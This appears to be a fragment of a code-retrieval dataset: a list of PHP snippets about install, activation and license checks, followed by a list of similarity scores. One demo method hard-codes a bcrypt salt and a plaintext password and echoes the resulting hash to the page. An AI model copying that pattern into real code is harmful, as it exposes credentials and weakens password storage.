"public static function check()\n\t\t{\n\t\t\tif(!($v = get_option(\"ws_plugin__s2member_activated_version\")) || !version_compare($v, WS_PLUGIN__S2MEMBER_VERSION, \">=\"))\n\t\t\t\tc_ws_plugin__s2member_installation::activate(\"version\");\n\n\t\t\telse if(is_multisite() && is_main_site() && (!($mms_v = get_option(\"ws_plugin__s2member_activated_mms_version\")) || !version_compare($mms_v, WS_PLUGIN__S2MEMBER_VERSION, \">=\")))\n\t\t\t\tc_ws_plugin__s2member_installation::activate(\"mms_version\");\n\n\t\t\telse if(!($l = (int)get_option(\"ws_plugin__s2member_activated_levels\")) || $l !== $GLOBALS[\"WS_PLUGIN__\"][\"s2member\"][\"c\"][\"levels\"])\n\t\t\t\tc_ws_plugin__s2member_installation::activate(\"levels\");\n\t\t}",
"public function check_activation_status () {\n $licenses_link = get_option( $this->token . '-url', '' );\n //echo \"<pre>\"; print_r( $this ); echo \"</pre>\"; die();\n $products = $this->get_detected_products();\n //echo \"<pre>\"; print_r( $products ); echo \"</pre>\"; die();\n $messages = array();\n if ( 0 < count( $products ) ) {\n foreach ( $products as $k => $v ) {\n if ( isset( $v['product_status'] ) && 'inactive' == $v['product_status'] ) {\n if( !empty( $licenses_link ) ) {\n $message = sprintf( __( '%s License is not active. To get started, activate it <a href=\"%s\">here</a>.', $this->domain ), $v['product_name'], $licenses_link );\n } else {\n $message = sprintf( __( '%s License is not active.', $this->domain ), $v['product_name'] );\n }\n if( !empty( $v[ 'errors_callback' ] ) && is_callable( $v[ 'errors_callback' ] ) ) {\n call_user_func_array( $v[ 'errors_callback' ], array( $message, 'warning' ) );\n } else {\n $messages[] = $message;\n }\n }\n }\n }\n if( !empty( $messages ) ) {\n $this->messages = $messages;\n }\n\n /**\n * We also ping UD server once per 24h\n * for getting any specific information.\n */\n $this->maybe_ping_ud();\n }",
"public function hasSysstr(){\n return $this->_has(20);\n }",
"function is_initialized()\n {\n // Load libraries and grab status information\n //-------------------------------------------\n\n try {\n $this->load->library('certificate_manager/SSL');\n\n $system_cert_exists = $this->ssl->exists_system_certificate();\n $ca_exists = $this->ssl->exists_certificate_authority();\n } catch (Exception $e) {\n $this->page->view_exception($e);\n return FALSE;\n }\n\n if ($ca_exists && $system_cert_exists)\n return TRUE;\n else\n return FALSE;\n }",
"public static function check();",
"private function check_key_valid() {\n $license = get_transient('wcis_license');\n\n // if key doesn't exist, abort\n if(!isset($license['key']) ) { return false; }\n\n // if valid, return success\n if(isset($license['valid']) && $license['valid'] === true) {\n $msg = __('API Connected!', 'wcis');\n $this->form_fields['key']['description'] = '<span style=\"color: #4caf50;\">' . $msg . '</span>';\n }\n else {\n $msg = __('Invalid API Key. Is there empty space before / after it?', 'wcis');\n $this->form_fields['key']['description'] = '<span style=\"color:#f44336;\">' . $msg . '</span>';\n }\n\n return $license['valid'];\n }",
"public static function isInstalled(){\n\t\treturn !empty(\\GO::config()->db_user);\n\t}",
"public function check();",
"public function check();",
"public function check();",
"public function check();",
"public function check();",
"protected function checkInstallToolPasswordNotSet() {}",
"protected function isSuhosinLoadedAndActive() {}",
"function check_software_license()\n {\n $q = $this->db->where('license', $this->input->post('license_num'))->where('action_type', 'install')->where('company_id', $this->session->userdata('company_id'))->limit(1)->get('software');\n\n if ($q->num_rows == 1)\n {\n return true;\n\n } else {\n\n return false;\n }\n }",
"public function hasPassWord(){\n return $this->_has(3);\n }",
"public function enabled() {\n return preg_match(get_config('iframeregexp'), 'http://voki.com/php/checksum/');\n }",
"function is_available() {\n global $CFG;\n\n //we need the curriculum directory\n if (!file_exists($CFG->dirroot.'/curriculum/config.php')) {\n return false;\n }\n\n //we also need the curr_admin block\n if (!record_exists('block', 'name', 'curr_admin')) {\n return false;\n }\n\n //everything needed is present\n return true;\n }",
"public function is_installed() {\n\n }",
"function getInstalled();",
"protected function checkOpenSslInstalled() {}",
"public function isOnline() {}",
"function sloodle_is_installed()\n {\n // Is there a Sloodle entry in the modules table?\n return sloodle_record_exists('modules', 'name', 'sloodle');\n }",
"public static function estConnecte() {\n return key_exists(self::UTILISATEUR_REF, $_SESSION);\n }",
"public function canBoot(): bool;",
"public function api_chk(){\n\t \n\t \n\t var_dump('ss');\n\t die();\n\t}",
"public function hasInstall();",
"public function effectively_installed()\n {\n return isset($this->config['oxcom_phpbbch_format_only']);\n }",
"public function index($string) {\n if (defined(\"CRYPT_BLOWFISH\") && CRYPT_BLOWFISH) {\n echo \"CRYPT_BLOWFISH is enabled!\";\n } else {\n echo \"CRYPT_BLOWFISH is not available\";\n }\n echo'<br>';\n $salt = '$2a$07$R.gJb2U2N.FmZ4hPp1y2CN$';\n echo $hashed_password = crypt(\"kuldeepsharma\", $salt);\n\n echo'<br>';\n if (hash_equals($hashed_password, crypt('kuldeepsharma', $hashed_password))) {\n echo \"Password verified!\";\n }else{\n echo'not verified';\n }\n }",
"protected function checkSomePhpOpcodeCacheIsLoaded() {}",
"function check_formkey($formkey)\r\n\t{\r\n\t\t$code = decrypt($formkey);\r\n\t\t\r\n\t\treturn (($code >= 1199116800 && REQUEST_TIME - $code <= FORMKEY_TIMEOUT) ? true : false);\r\n\t\t\r\n\t}"
] | [
"0.70229155",
"0.70229155",
"0.6947113",
"0.6769098",
"0.670585",
"0.65602654",
"0.65602654",
"0.65602654",
"0.6559476",
"0.6559476",
"0.6559476",
"0.6559476",
"0.6559476",
"0.6559476",
"0.6559476",
"0.6559476",
"0.6559476",
"0.6559476",
"0.6559476",
"0.6559476",
"0.6559476",
"0.6559476",
"0.65449053",
"0.65310246",
"0.6519414",
"0.65171623",
"0.6458889",
"0.6445804",
"0.6439619",
"0.63873404",
"0.6372841",
"0.62111497",
"0.6208739",
"0.61906683",
"0.61906683",
"0.6125282",
"0.6111128",
"0.60880166",
"0.6078258",
"0.6060958",
"0.6031937",
"0.60308135",
"0.5984349",
"0.597262",
"0.59577215",
"0.59525645",
"0.59486806",
"0.59178144",
"0.59069926",
"0.59035456",
"0.589337",
"0.588772",
"0.58865595",
"0.5861667",
"0.58572483",
"0.58493936",
"0.58414495",
"0.58305705",
"0.58286804",
"0.5828307",
"0.5826595",
"0.58257115",
"0.58242047",
"0.58234686",
"0.58077234",
"0.58029985",
"0.579699",
"0.57777655",
"0.5774793",
"0.57727104",
"0.5772601",
"0.5770242",
"0.57614964",
"0.5751626",
"0.57509404",
"0.5744944",
"0.5729505",
"0.5729505",
"0.5729505",
"0.5729505",
"0.5729505",
"0.5719765",
"0.5716513",
"0.57105756",
"0.570152",
"0.56923485",
"0.5678913",
"0.56782186",
"0.56775194",
"0.5668346",
"0.56539285",
"0.56504714",
"0.56387717",
"0.56383944",
"0.5635811",
"0.5634542",
"0.5633338",
"0.5632436",
"0.5632085",
"0.5630992"
] | 0.7753496 | 0 |
Create path for file. | protected function createPath(Filesystem $filesystem, $type)
{
$customPath = $this->option('path');
$defaultPath = config("vue-generators.paths.{$type}s");
$path = $customPath !== null ? $customPath : $defaultPath;
$this->buildPathFromArray($path, $filesystem);
return $path;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"protected function createPath($file)\n\t{\n\t\treturn str_replace(DIRECTORY_SEPARATOR, '/', dirname(__DIR__)) . '/' . $file;\n\t}",
"public function createPath(string $path): string;",
"public function generatePath($filename);",
"protected function createPathIfNeeded() {}",
"protected function createFile() {}",
"public function getPathToFile(): string;",
"protected function generateFullPathToUploadFile()\n {\n // $this->fullPathToUploadFile = str_replace(\"/\", \"\\\\\", storage_path('app/' . $this->pathToFile));\n $this->fullPathToUploadFile = storage_path('app/' . $this->pathToFile);\n }",
"public function getFilepath();",
"public function createPath($fs, $file): string\n {\n $path = '';\n\n if (!isset($file['parId'])) {\n return $file['id'];\n }\n\n $parId = $file['parId'];\n while (isset($fs[$parId])) {\n $path = $fs[$parId]['id'].'/'.$path;\n $parId = isset($fs[$parId]['parId']) ? $fs[$parId]['parId'] : null;\n }\n return $path.$file['id'];\n }",
"public function fullPath(){\n if ( strpos( $this->template, DIRECTORY_SEPARATOR ) === 0 ) {\n return $this->template . '.php';\n } else {\n return $this->path . DIRECTORY_SEPARATOR . $this->template . '.php';\n }\n }",
"function createpath($path)\n{\n\t\t$exp=explode(\"/\",$path);\n\t\t\t\t$way='';\n\t\t\t\tforeach($exp as $n)\n\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\t$way.=$n;\n\t\t\t\t\t\t@mkdir($way, 0777);\n\t\t\t\t\t\t@chmod($way, 0777);\n\t\t\t\t\t$way.='/';\n\t\t\t\t\t\t\n\t\t\t\t}\n}",
"abstract protected function getFileWithPath();",
"public function create($path);",
"protected function _generateFilePath() {\n\t\treturn self::normalPaths(\n\t\t\tMage::getBaseDir(),\n\t\t\tMage::helper('pepperjam_network/config', $this->getStore())->getExportFilePath(),\n\t\t\t$this->_getFileName()\n\t\t);\n\t}",
"public function createFolderPath()\n {\n return \"uploads/\".date('Y').\"/\".date('m').\"/\";\n }",
"protected function generateFilePaths()\r\n {\r\n $filename = $this->filename;\r\n\r\n $this->validateStoragePath();\r\n\r\n $path = $this->storagePath . DIRECTORY_SEPARATOR;\r\n\r\n $this->htmlPath = $path . uniqid('pdf-', true).'.html';\r\n\r\n $this->pdfPath = $path . $this->filename . '.pdf';\r\n }",
"private function constructFilePath()\r\n {\r\n $this->filePath = MENU_PATH . \"/\" . $this->nameOfJson . \".json\";\r\n }",
"private function make_path($path){\n\t\t\t// Test if path extist\n\t\t\tif(is_dir($path) || file_exists($path))\n\t\t\t{\n\t\t\t\treturn;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t// Create it\n\t\t\t\tmkdir($path, 0777, true);\n\t\t\t}\n\t}",
"public function makePath(string $filename)\n : string\n {\n $path = (new Carbon)->format('Y/m/d');\n $ext = pathinfo($filename, PATHINFO_EXTENSION);\n\n return sprintf('%s/%s%s', $path, Str::random(64), $ext ? '.'.$ext : '');\n }",
"public static function generatepath( $path )\n {\n if (!is_dir($path))\n mkdir( $path , 0775, true);\n }",
"public function path(): string\n {\n return 'files/' . $this->model->filename();\n }",
"protected function getFileGenerationPath()\n {\n $path = $this->getPathByOptionOrConfig('path', 'migration_target_path');\n $fileName = $this->getDatePrefix() . '_' . $this->argument('migrationName') . '.php';\n\n return \"{$path}/{$fileName}\";\n }",
"public function getWritePath();",
"public function path();",
"public function createFile($path,$data) {\n\n $parent = $this->getNodeForPath(dirname($path));\n return $parent->createFile(basename($path),$data);\n\n }",
"abstract protected function getPath();",
"protected abstract function getPath();",
"protected function buildPath()\n\t{\n\t\treturn $this->getDir() . DIRECTORY_SEPARATOR . $this->getSubDir()\n\t\t\t. DIRECTORY_SEPARATOR . $this->getName();\n\t}",
"private static function _makePath($pathToMake, $mode) {\n\n\t\t$fullpath = '';\n \n\t\t/* Explode into path parts */\n\t\t$pathparts = explode('/', $pathToMake);\n \n\t\t/* Remove the end one */\n\t\tarray_pop($pathparts);\n \n\t\t/* Create recursively */\n\t\t$createpath = implode('/', $pathparts);\n\t\tmkdir($createpath, 0755, true);\n\n\t}",
"public function createPath( $path ) {\n\t\tif ( !file_exists($path) || !is_dir($path) ) {\n\t\t\tif ( !mkdir( $path, 0777, true ) ) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\treturn $path;\n\t}",
"protected function outputPath()\n {\n $destination = $this->ask('Where do you want to save the file? (Press enter for the current directory)'); \n $output_path = !is_null($destination) ? $destination : generate_path($this->config('source'));\n \n if (!file_exists($output_path)) {\n mkdir($output_path, 0744, true);\n }\n\n return $output_path;\n }",
"private function createFileDir()\n\t{\n\t\t$this->fileDir = IMAGES.'uploads'.DS.$this->model.DS.$this->modelId;\n\t\t$this->imgDir = 'uploads/'.$this->model.'/'.$this->modelId;\n\t}",
"public function createFilePath($path, $fileName, $fileExtension = 'file', $isImage = false)\n\t{\n\n\t\t// Replaces all slashes with the standard DirectorySeperator\n\t\t$path = str_replace ('/' , DS , $path);\n\n\t\t//Puts the file or image into its according folder\n\t\tif($isImage)\n\t\t{\n\t\t\t// Sets it to /img/path\n\t\t\t$path = 'img'.DS.$path;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// Sets it to /file/path\n\t\t\t$path = 'files'.DS.$path;\n\t\t}\n\n\t\t// Sets the path to /webroot/..(file or img)../path\n\t\t$path = APP.'webroot'.DS.$path.DS;\n\n\t\t// Remove any double accurences of the DirectorySeperator\n\t\t$path = str_replace(array(\n \"\\\\\\\\\",\n \"\\\\/\", \n \"//\", \n \"\\\\/\", \n \"/\\\\\"), DS, $path);\n\n\t\t// Removes '.' from the fileExtension\n\t\t$fileExtension = trim($fileExtension,'.');\n\n\t\t return $path . $fileName . '.' . $fileExtension;\n\t}",
"function create_file($file_path, $content=''){\r\n die( __FILE__ . ' : ' . __LINE__ );\r\n }",
"public function getPath(){\n\t \treturn $this->dirname.'/'.$this->filename.'.'.$this->extension;\n\t }",
"protected function createFile($path,$data) {\n File::put($path,$data);\n }",
"public function filePath();",
"public function generatePath($fileName = ''): string\n {\n $path = 'uploads/' .\n date('Y') . '/' .\n date('m') . '/' .\n date('d');\n\n if ($fileName) {\n $path .= '/' . $fileName;\n }\n\n return $path;\n }",
"public function generatePath($fileName, $createDir = false, $uploadRootPath = './', $level = 3)\n {\n $level = $level > 6 ? 6 : $level;\n $array = str_split(md5($fileName), 4);\n $path = '';\n $arraySliced = array_slice($array, 0, $level);\n foreach ($arraySliced as $item) {\n $path .= $item.'/';\n $createDir && !file_exists($uploadRootPath.$path) && mkdir($uploadRootPath.$path);\n }\n\n return $path;\n }",
"public function getPath()\n {\n $path = Yii::getAlias('@webroot') .\n DIRECTORY_SEPARATOR . \"uploads\" .\n DIRECTORY_SEPARATOR . $this->folder_uploads .\n DIRECTORY_SEPARATOR . $this->guid;\n\n if (!is_dir($path)) {\n mkdir($path);\n }\n\n return $path;\n }",
"private function save_file_to_path($file){\n\t\tif(!is_dir($this->_mainFolder)){\n\t\t\tmkdir($this->_mainFolder);\n\t\t}\n\n\t\t//After making sure the main folder is created, another folder is created, with the idNews as name.\n\t\t//This just making sure no file is overwritten over time, also for making file order clear.\n\t\t$newFolder = $this->_mainFolder.'/'.$this->id;\n\t\tif(!is_dir($newFolder)){\n\t\t\tmkdir($newFolder);\n\t\t}\n\n\t\t//And now proceed to save the file to path.\n\t\t$f = $file['file'];\n\t\t$n = $file['name'];\n\n\n\t\tlist($type, $f) = explode(';', $f);\n\t\tlist(, $f) = explode(',', $f);\n\t\t$f = base64_decode($f);\n\t\tfile_put_contents($newFolder.'/'.$n, $f);\n\n\t\t//After saving the file, the name of the file is stored, just in case the path changes, we still have the name of the file.\n\t\t$query = \"INSERT INTO files (idNew, file) VALUES(\".$this->id.\", '\".$n.\"')\";\n\t\t$this->_db->query($query);\n\t}",
"public function getFilePath();",
"public function getFilePath();",
"public function getFilePath();",
"public function getFilePath();",
"private function pathFilename() {\n return $this->directory . \"/\" . $this->formatFilename();\n }",
"public function path() {}",
"public function path() {}",
"public function getPath(){\n $ext = $this->getExt();\n $filename = $this->id.'.'.$ext;\n return str_replace( $filename, '', $this->filename ); \n }",
"protected function initFilePath() {\n \n $result = $this->profiler->getLogsPath();\n \n $result .= $this->key.'.log';\n \n if ( !file_exists( $result ) ) {\n touch( $result );\n }\n \n return $result;\n }",
"public function createPath($path)\n {\n $absolutePath = $this->getAbsolutePath($path);\n if (!file_exists($absolutePath)) {\n // FIXME Check return value.\n FileHelper::createDirectory($absolutePath);\n } elseif (!is_dir($absolutePath)) {\n throw new InvalidParamException($path.' is a file, cannot create folder with the same name.');\n }\n\n return $absolutePath;\n }",
"public function path(): string;",
"public function path(): string;",
"public function buildFilepath(Smarty $smarty = null)\n {\n }",
"private function buildFilePath(): string\n\t{\n\t\tif ($this->taskName === null) {\n\t\t\tthrow new EmptyTaskNameException('Task name was not set.');\n\t\t}\n\n\t\treturn SafeStream::PROTOCOL . '://' . $this->directory . '/' . sha1($this->taskName);\n\t}",
"function getPath(): string;",
"function buildPath($entity, $options = array()) {\n return file_create_url($entity->uri);\n }",
"public function createPath()\n {\n return config('maxolex.config.views').'/'.$this->parser->singular().'/'.'create.blade.php';\n }",
"protected function ensureTestFilePath()\n {\n $path = $this->getTestFilePath();\n FileHelper::createDirectory($path);\n return $path;\n }",
"protected function makeImagePath()\n {\n // Create image path, nesting folders by splitting the record ID\n $path = $this->originalImageFilePathRoot . chunk_split($this->recordId, 3, '/') . $this->endDirectory;\n\n // Create the path if the directory does not exist\n if (!is_dir($path)) {\n try {\n mkdir($path, 0775, true);\n } catch (\\Exception $e) {\n $this->log->error('Failed to create image directory path: ' . $path);\n throw new \\Exception('Failed to create image directory path');\n }\n }\n\n $this->originalImageFilePath = $path;\n }",
"public function mkfile($path, $fileName, $data = null)\n {\n \n }",
"public function getPath() {\n return FILES_LOCATION . DS . $this->getType() . DS . $this->getId();\n }",
"public function path( $file = '' ) {\n\n\t\t$file = ltrim( $file, '/' );\n\n\t\treturn $file ? $this->path . \"/{$file}\" : $this->path;\n\t}",
"public function mkDir($path);",
"public function getFullPath();",
"protected function generatePath(string $fileName, $pathToSave): string\n {\n if (!is_dir($pathToSave)) {\n mkdir($pathToSave, 0755);\n }\n return $pathToSave . $fileName . '.' . 'jpg';\n }",
"public function createFile()\n {\n return $this->addExcludesNameEntry($this->files);\n }",
"private function format_path($path, $file)\n {\n // Use consistent slashes\n if(DIRECTORY_SEPARATOR == '/')\n $path = str_replace('\\\\', '/', $path);\n else if(DIRECTORY_SEPARATOR == '\\\\')\n $path = str_replace('/', '\\\\', $path);\n\n if($this->shorten)\n {\n $path = $this->shorten_path($path, $file);\n }\n\n return $path.DIRECTORY_SEPARATOR.$file;\n }",
"public function getFilepath()\n {\n $filepath = $this->_path['dirname'].DIRECTORY_SEPARATOR.$this->_path['filename'];\n\n if ($this->_path['extension'])\n $filepath .= '.'.$this->_path['extension'];\n\n return $filepath;\n }",
"public function getPath();",
"public function getPath();",
"public function getPath();",
"public function getPath();",
"public function getPath();",
"public function getPath();",
"public function getPath();",
"public function getPath();",
"public function getPath();",
"public function getPath();",
"public function getPath();",
"public function getPath();",
"public function getPath();",
"public function getPath();",
"public static function createPath( $path )\r\n {\r\n $dirArray = array();\r\n $baseDir = '';\r\n\r\n while ($path != '.' && $path != '..' ) \r\n {\r\n if ( file_exists($path) ) \r\n {\r\n $baseDir = $path;\r\n break; \r\n }\r\n\r\n $dirArray[] = basename($path); //basename part\r\n $path = dirname($path); \r\n }\r\n\r\n for ( $i = count($dirArray) - 1; $i >= 0; $i-- )\r\n {\r\n if ( strpos($dirArray[$i], '.') !== FALSE ) \r\n {\r\n break;\r\n }\r\n\r\n @mkdir( $baseDir . '/' . $dirArray[$i] );\r\n $baseDir = $baseDir . '/' .$dirArray[$i];\r\n }\r\n }",
"private function getPath($name = null){\n\t\tif($name == null){\n\t\t\t$name = $this->fileName;\n\t\t}\n\t\t$path = $this->directory.DIRECTORY_SEPARATOR.$name;\n\t\treturn $path;\n\t}",
"public function getFilepath()\n {\n return $this->folder.'/'.$this->file.'.json';\n }",
"public function createFile( $path )\n {\n return touch( $path );\n }",
"public static function path($file)\n\t{\n\t\tif (strpos($file, APP_PATH) === 0)\n\t\t{\n\t\t\t$file = 'APP_PATH' . DS . substr($file, strlen(APP_PATH));\n\t\t}\n\t\telseif (strpos($file, MOD_PATH) === 0)\n\t\t{\n\t\t\t$file = 'MOD_PATH' . DS . substr($file, strlen(MOD_PATH));\n\t\t}\n\t\telseif (strpos($file, SYS_PATH) === 0)\n\t\t{\n\t\t\t$file = 'SYS_PATH' . DS . substr($file, strlen(SYS_PATH));\n\t\t}\n\t\treturn $file;\n\t}",
"function path($path='') {\n return $this->base_dir . $path;\n }",
"public function getFullPath(): string;",
"public function getPath(): string;",
"public function getPath(): string;",
"public function getPath(): string;",
"public function getPath(): string;",
"public function getPath(): string;",
"public function getPath(): string;",
"public function getPath(): string;",
"public function getPath(): string;",
"public function get_file_path($file = '')\n {\n }",
"protected function createFile($path, $content)\n {\n $dir = dirname($path);\n\n // Check if the directory exists\n if (!is_dir($dir)) {\n // If the directory does not exist, create it\n mkdir($dir, 0755, true);\n }\n\n // Create or update the file\n file_put_contents($path, $content);\n }",
"protected function createDirectory() {}"
] | [
"0.76529855",
"0.7582889",
"0.747251",
"0.72649205",
"0.70982593",
"0.6824416",
"0.6807446",
"0.6467262",
"0.64568007",
"0.64442104",
"0.6443279",
"0.6437948",
"0.6403196",
"0.63807714",
"0.6374204",
"0.63706845",
"0.6336325",
"0.6330711",
"0.6312378",
"0.6311771",
"0.6290962",
"0.6285147",
"0.6284918",
"0.6248344",
"0.62463653",
"0.62269694",
"0.6199297",
"0.6182957",
"0.61651814",
"0.61440825",
"0.6133949",
"0.6133129",
"0.61330646",
"0.6053294",
"0.60494524",
"0.60433966",
"0.6031459",
"0.6012672",
"0.59920514",
"0.59851897",
"0.59810096",
"0.59721935",
"0.59721935",
"0.59721935",
"0.59721935",
"0.59514374",
"0.5951432",
"0.5951127",
"0.59482753",
"0.5937472",
"0.59227604",
"0.59122324",
"0.59122324",
"0.59043485",
"0.58963203",
"0.5887868",
"0.5885028",
"0.58828336",
"0.58731997",
"0.5858719",
"0.585862",
"0.5855309",
"0.58533025",
"0.5851087",
"0.58201575",
"0.58117557",
"0.5802601",
"0.57945085",
"0.5790921",
"0.5790474",
"0.5790474",
"0.5790474",
"0.5790474",
"0.5790474",
"0.5790474",
"0.5790474",
"0.5790474",
"0.5790474",
"0.5790474",
"0.5790474",
"0.5790474",
"0.5790474",
"0.5790474",
"0.5790249",
"0.57887906",
"0.5784691",
"0.57806474",
"0.5776499",
"0.5770655",
"0.57671875",
"0.57654285",
"0.57654285",
"0.57654285",
"0.57654285",
"0.57654285",
"0.57654285",
"0.57654285",
"0.57654285",
"0.5757969",
"0.5746214",
"0.5745496"
] | 0.0 | -1 |
Get all the navigation entries. | public function get_all()
{
$result = DB::select()->from('navigations')
->where('visible', '=', true)
->as_object()->execute();
return $result->count() > 0 ? $result : false;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function getNavigation() {\n \n $search = $this->search();\n $menuObjects = $search->getRecords();\n $result = array();\n $fields = $this->definition->fields();\n $menuItemField = FieldService::instance()->getFieldByName($fields, \"menuItems\");\n \n //$search->getRelationsForObjects(\"menuItems\", $menuObjects);\n \n foreach($menuObjects as $menuObject) {\n $result[$menuObject->name] = $search->getRelations($menuItemField, $menuObject->id);\n }\n \n return $result;\n }",
"public function get_navs()\n\t{\n\t\t return $this->db->get($this->_table['navigation'])->result();\n\n\t}",
"public function navigation() {\n\t\t$menu = $this->data['nav_menu'] ?: 'main_menu';\n\t\t$navi = (new Navi())->build($menu);\n\n\t\tif ($navi->isEmpty()) {\n\t\t\treturn;\n\t\t}\n\n\t\treturn $navi->toArray();\n\t}",
"protected function navigations(): iterable\n {\n return [\n Menu::make('Basic Elements')\n ->route('platform.example.fields'),\n\n Menu::make('Advanced Elements')\n ->route('platform.example.advanced'),\n\n Menu::make('Text Editors')\n ->route('platform.example.editors'),\n\n Menu::make('Run Actions')\n ->route('platform.example.actions'),\n ];\n }",
"public function getMenuItems()\n {\n $sql = \"\n SELECT\n menu.uid,\n parent_uid,\n sort_order,\n nofollow,\n target,\n class,\n label,\n uri_uid,\n uri,\n menu.archived,\n menu.archived_datetime\n FROM menu\n LEFT JOIN uri\n ON uri.uid = menu.uri_uid\n WHERE menu.archived = '0'\n AND (uri.archived = '0' OR uri.archived IS NULL)\n \";\n\n $sql .= \"\n ORDER BY sort_order;\n \";\n\n $db = new Query($sql);\n $results = $db->fetchAllAssoc();\n\n return $results;\n }",
"function listNavigationItems()\n{\n include('models/navigation.php');\n $items = getAllNavigationItems();\n return [\n 'page' => 'admin/lists/navigation.php',\n 'items' => $items,\n 'edit_link' => 'index.php?p=admin&module=navigation&action=edit&id=',\n 'delete_link' => 'index.php?p=admin&module=navigation&action=delete&id=',\n ];\n}",
"public function getNavigationArray(){\n\t\t\tif(empty($this->_navigation)) $this->__buildNavigation();\n\t\t\treturn $this->_navigation;\n\t\t}",
"static public function mainNavigation()\n {\n return self::where('parent_id', 0)\n ->where('is_main', 1)\n ->where('is_hidden', 0)\n ->orderBy('list_main_order')\n ->get();\n }",
"function getNavs() {\n\t$pageData = getPageData();\n\t$li = '';\n\tforeach($pageData as $k => $v) {\n\t\t$li .= '<li><a href=\"' . COVER_PAGE . '?show=' . $k .'\">' . $k . '</a></li>' . \"\\n\";\n\t}\n\treturn $li;\n}",
"public function index()\n {\n return $this->menu->all();\n }",
"public function entries(){\n return $this->routes;\n }",
"public function getMenus() {}",
"function getAllNav($limit, $offset=0) {\n $this->db->select(\"*\");\n\t\t$this->db->limit($limit, $offset);\n $query = $this->db->get('navigation');\n if ($query->num_rows() > 0) {\n return $query->result_array();\n }\n return array();\n }",
"public static function getMenus()\n\t{\n\t\t$sql = \"SELECT * FROM mod_menu\";\n\t\t$query = \\SimplCMS::$app->getDbConnection()->query($sql);\n\t\treturn $query->fetchAll( \\PDO::FETCH_ASSOC );\t\t\n\t}",
"public function index()\n {\n $clearRelates = $this->repository->all();\n\n return $clearRelates;\n }",
"public function getmenu( ) {\n \t$parent = $this->find('all', array(\n 'conditions' => array(\n 'Page.parent_id IS NULL',\n 'Page.is_menu' => 1,\n 'Page.is_active' => 1\n ),\n 'contain'=>array(\n ),\n 'fields'=>array('Page.lft', 'Page.rght'),\n 'order'=>array('Page.lft' => 'ASC')\n ));\n\t\t\n\t\t$recs = array(); \n foreach($parent as $v){\n \t$info = $this->find('threaded', array(\n\t 'conditions' => array(\n\t 'Page.lft >=' => $v['Page']['lft'], \n\t 'Page.rght <=' => $v['Page']['rght'],\n\t 'Page.is_menu' => 1,\n\t 'Page.is_active' => 1\n\t ),\n\t 'contain'=>array()\n\t ));\n\t \n\t $recs = array_merge($recs, $info);\n\t }\n\t\t\n\t\treturn $recs;\n }",
"public function get_all()\n {\n\n $sql = \"SELECT * FROM `menu`\";\n $query = $this->db->prepare($sql);\n\n $query->execute();\n\n return $query->fetchAll();\n }",
"function getMenuEntries()\n\t{\n\t\tglobal $rbacsystem, $lng, $tree, $ilUser, $ilSetting;\n\n\t\t// no menu during online tests\n\t\tif ($_SESSION[\"adn_online_test\"])\n\t\t{\n\t\t\treturn \"\";\n\t\t}\n\n\t\t$mm_tpl = new ilTemplate(\"tpl.adn_main_menu.html\", true, true, \"Services/ADN/UI\");\n\n\t\tforeach ($this->getAllMenuItems() as $menu => $items)\n\t\t{\n\t\t\t$this->renderSubMenu($mm_tpl, $menu);\n\t\t}\n\t\treturn $mm_tpl->get();\n\n\n\n\t\t$tpl->setCurrentBlock(\"cust_menu\");\n\t\t$tpl->setVariable(\"TXT_CUSTOM\",\n\t\t\tlfCustomMenu::lookupTitle(\"it\", $menu[\"id\"], $ilUser->getLanguage(), true));\n\t\t$tpl->setVariable(\"MM_CLASS\", \"MMInactive\");\n\n\t\tif (is_file(\"./templates/default/images/mm_down_arrow.png\"))\n\t\t{\n\t\t\t$tpl->setVariable(\"ARROW_IMG\", ilUtil::getImagePath(\"mm_down_arrow.png\"));\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$tpl->setVariable(\"ARROW_IMG\", ilUtil::getImagePath(\"mm_down_arrow.gif\"));\n\t\t}\n\t\t$tpl->setVariable(\"CUSTOM_CONT_OV\", $gl->getHTML());\n\t\t$tpl->setVariable(\"MM_ID\", $menu[\"id\"]);\n\t\t$tpl->parseCurrentBlock();\n\t\t$tpl->setCurrentBlock(\"c_item\");\n\t\t$tpl->parseCurrentBlock();\n\n\t}",
"public function registerNavigation()\n {\n return [];\n }",
"public function registerNavigation()\n {\n return [];\n }",
"public function registerNavigation()\n {\n return [];\n }",
"function GetMenu()\n {\n $sql = \"SELECT\n title,\n slug,\n id\n FROM\n pages\";\n $this->setSql($sql);\n return $this->getAll();\n }",
"public function get_sitemap_entries()\n {\n }",
"public function getMenus()\n\t{\n\n\t}",
"public function entries();",
"function getNavigation()\n\t{\n\n\n\t\treturn;\n\n\t\tglobal $gMysql;\n\t\tglobal $member_id;\n\t\t# grab these items\n\t\t$num_views\t\t\t=\t$gMysql->queryItem(\"select count(*) from sm_views where member_id='$member_id'\",__FILE__,__LINE__);\n\t\t$num_winks\t\t\t=\t$gMysql->queryItem(\"select count(*) from sm_winks where member_id='$member_id'\",__FILE__,__LINE__);\n\t\t$num_favs\t\t\t=\t$gMysql->queryItem(\"select count(*) from sm_fav where member_id='$member_id'\",__FILE__,__LINE__);\n\t\t$num_messages\t\t=\t$gMysql->queryItem(\"select count(*) from sm_messages where member_id='$member_id'\",__FILE__,__LINE__);\n\n\n\n\t\t$menuArray\t=\tarray(\n\t\tarray(\n\t\t\"title\"\t\t\t=>\t\"Profile\",\n\t\t\"bShowNumber\"\t=>\tfalse,\n\t\t\"number\"\t\t=>\t0,\n\t\t\"bHeader\"\t\t=>\ttrue,\n\t\t\"className\"\t\t=>\t\"icon-user\",\n\t\t\"link\" \t\t\t=>\t\"http://bbc.co.uk\",\n\t\t),\n\t\tarray(\n\t\t\"title\"\t\t\t =>\t\"Search\",\n\t\t\"bShowNumber\"\t =>\tfalse,\n\t\t\"number\"\t\t =>\t0,\n\t\t\"bHeader\"\t\t =>\ttrue,\n\t\t\"className\"\t\t =>\t\"icon-search\",\n\t\t\"link\" \t\t\t =>\t\"search\",\n\t\t),\n\t\tarray(\n\t\t\"title\"\t\t\t =>\t\"Messages\",\n\t\t\"bShowNumber\"\t =>\ttrue,\n\t\t\"number\"\t\t 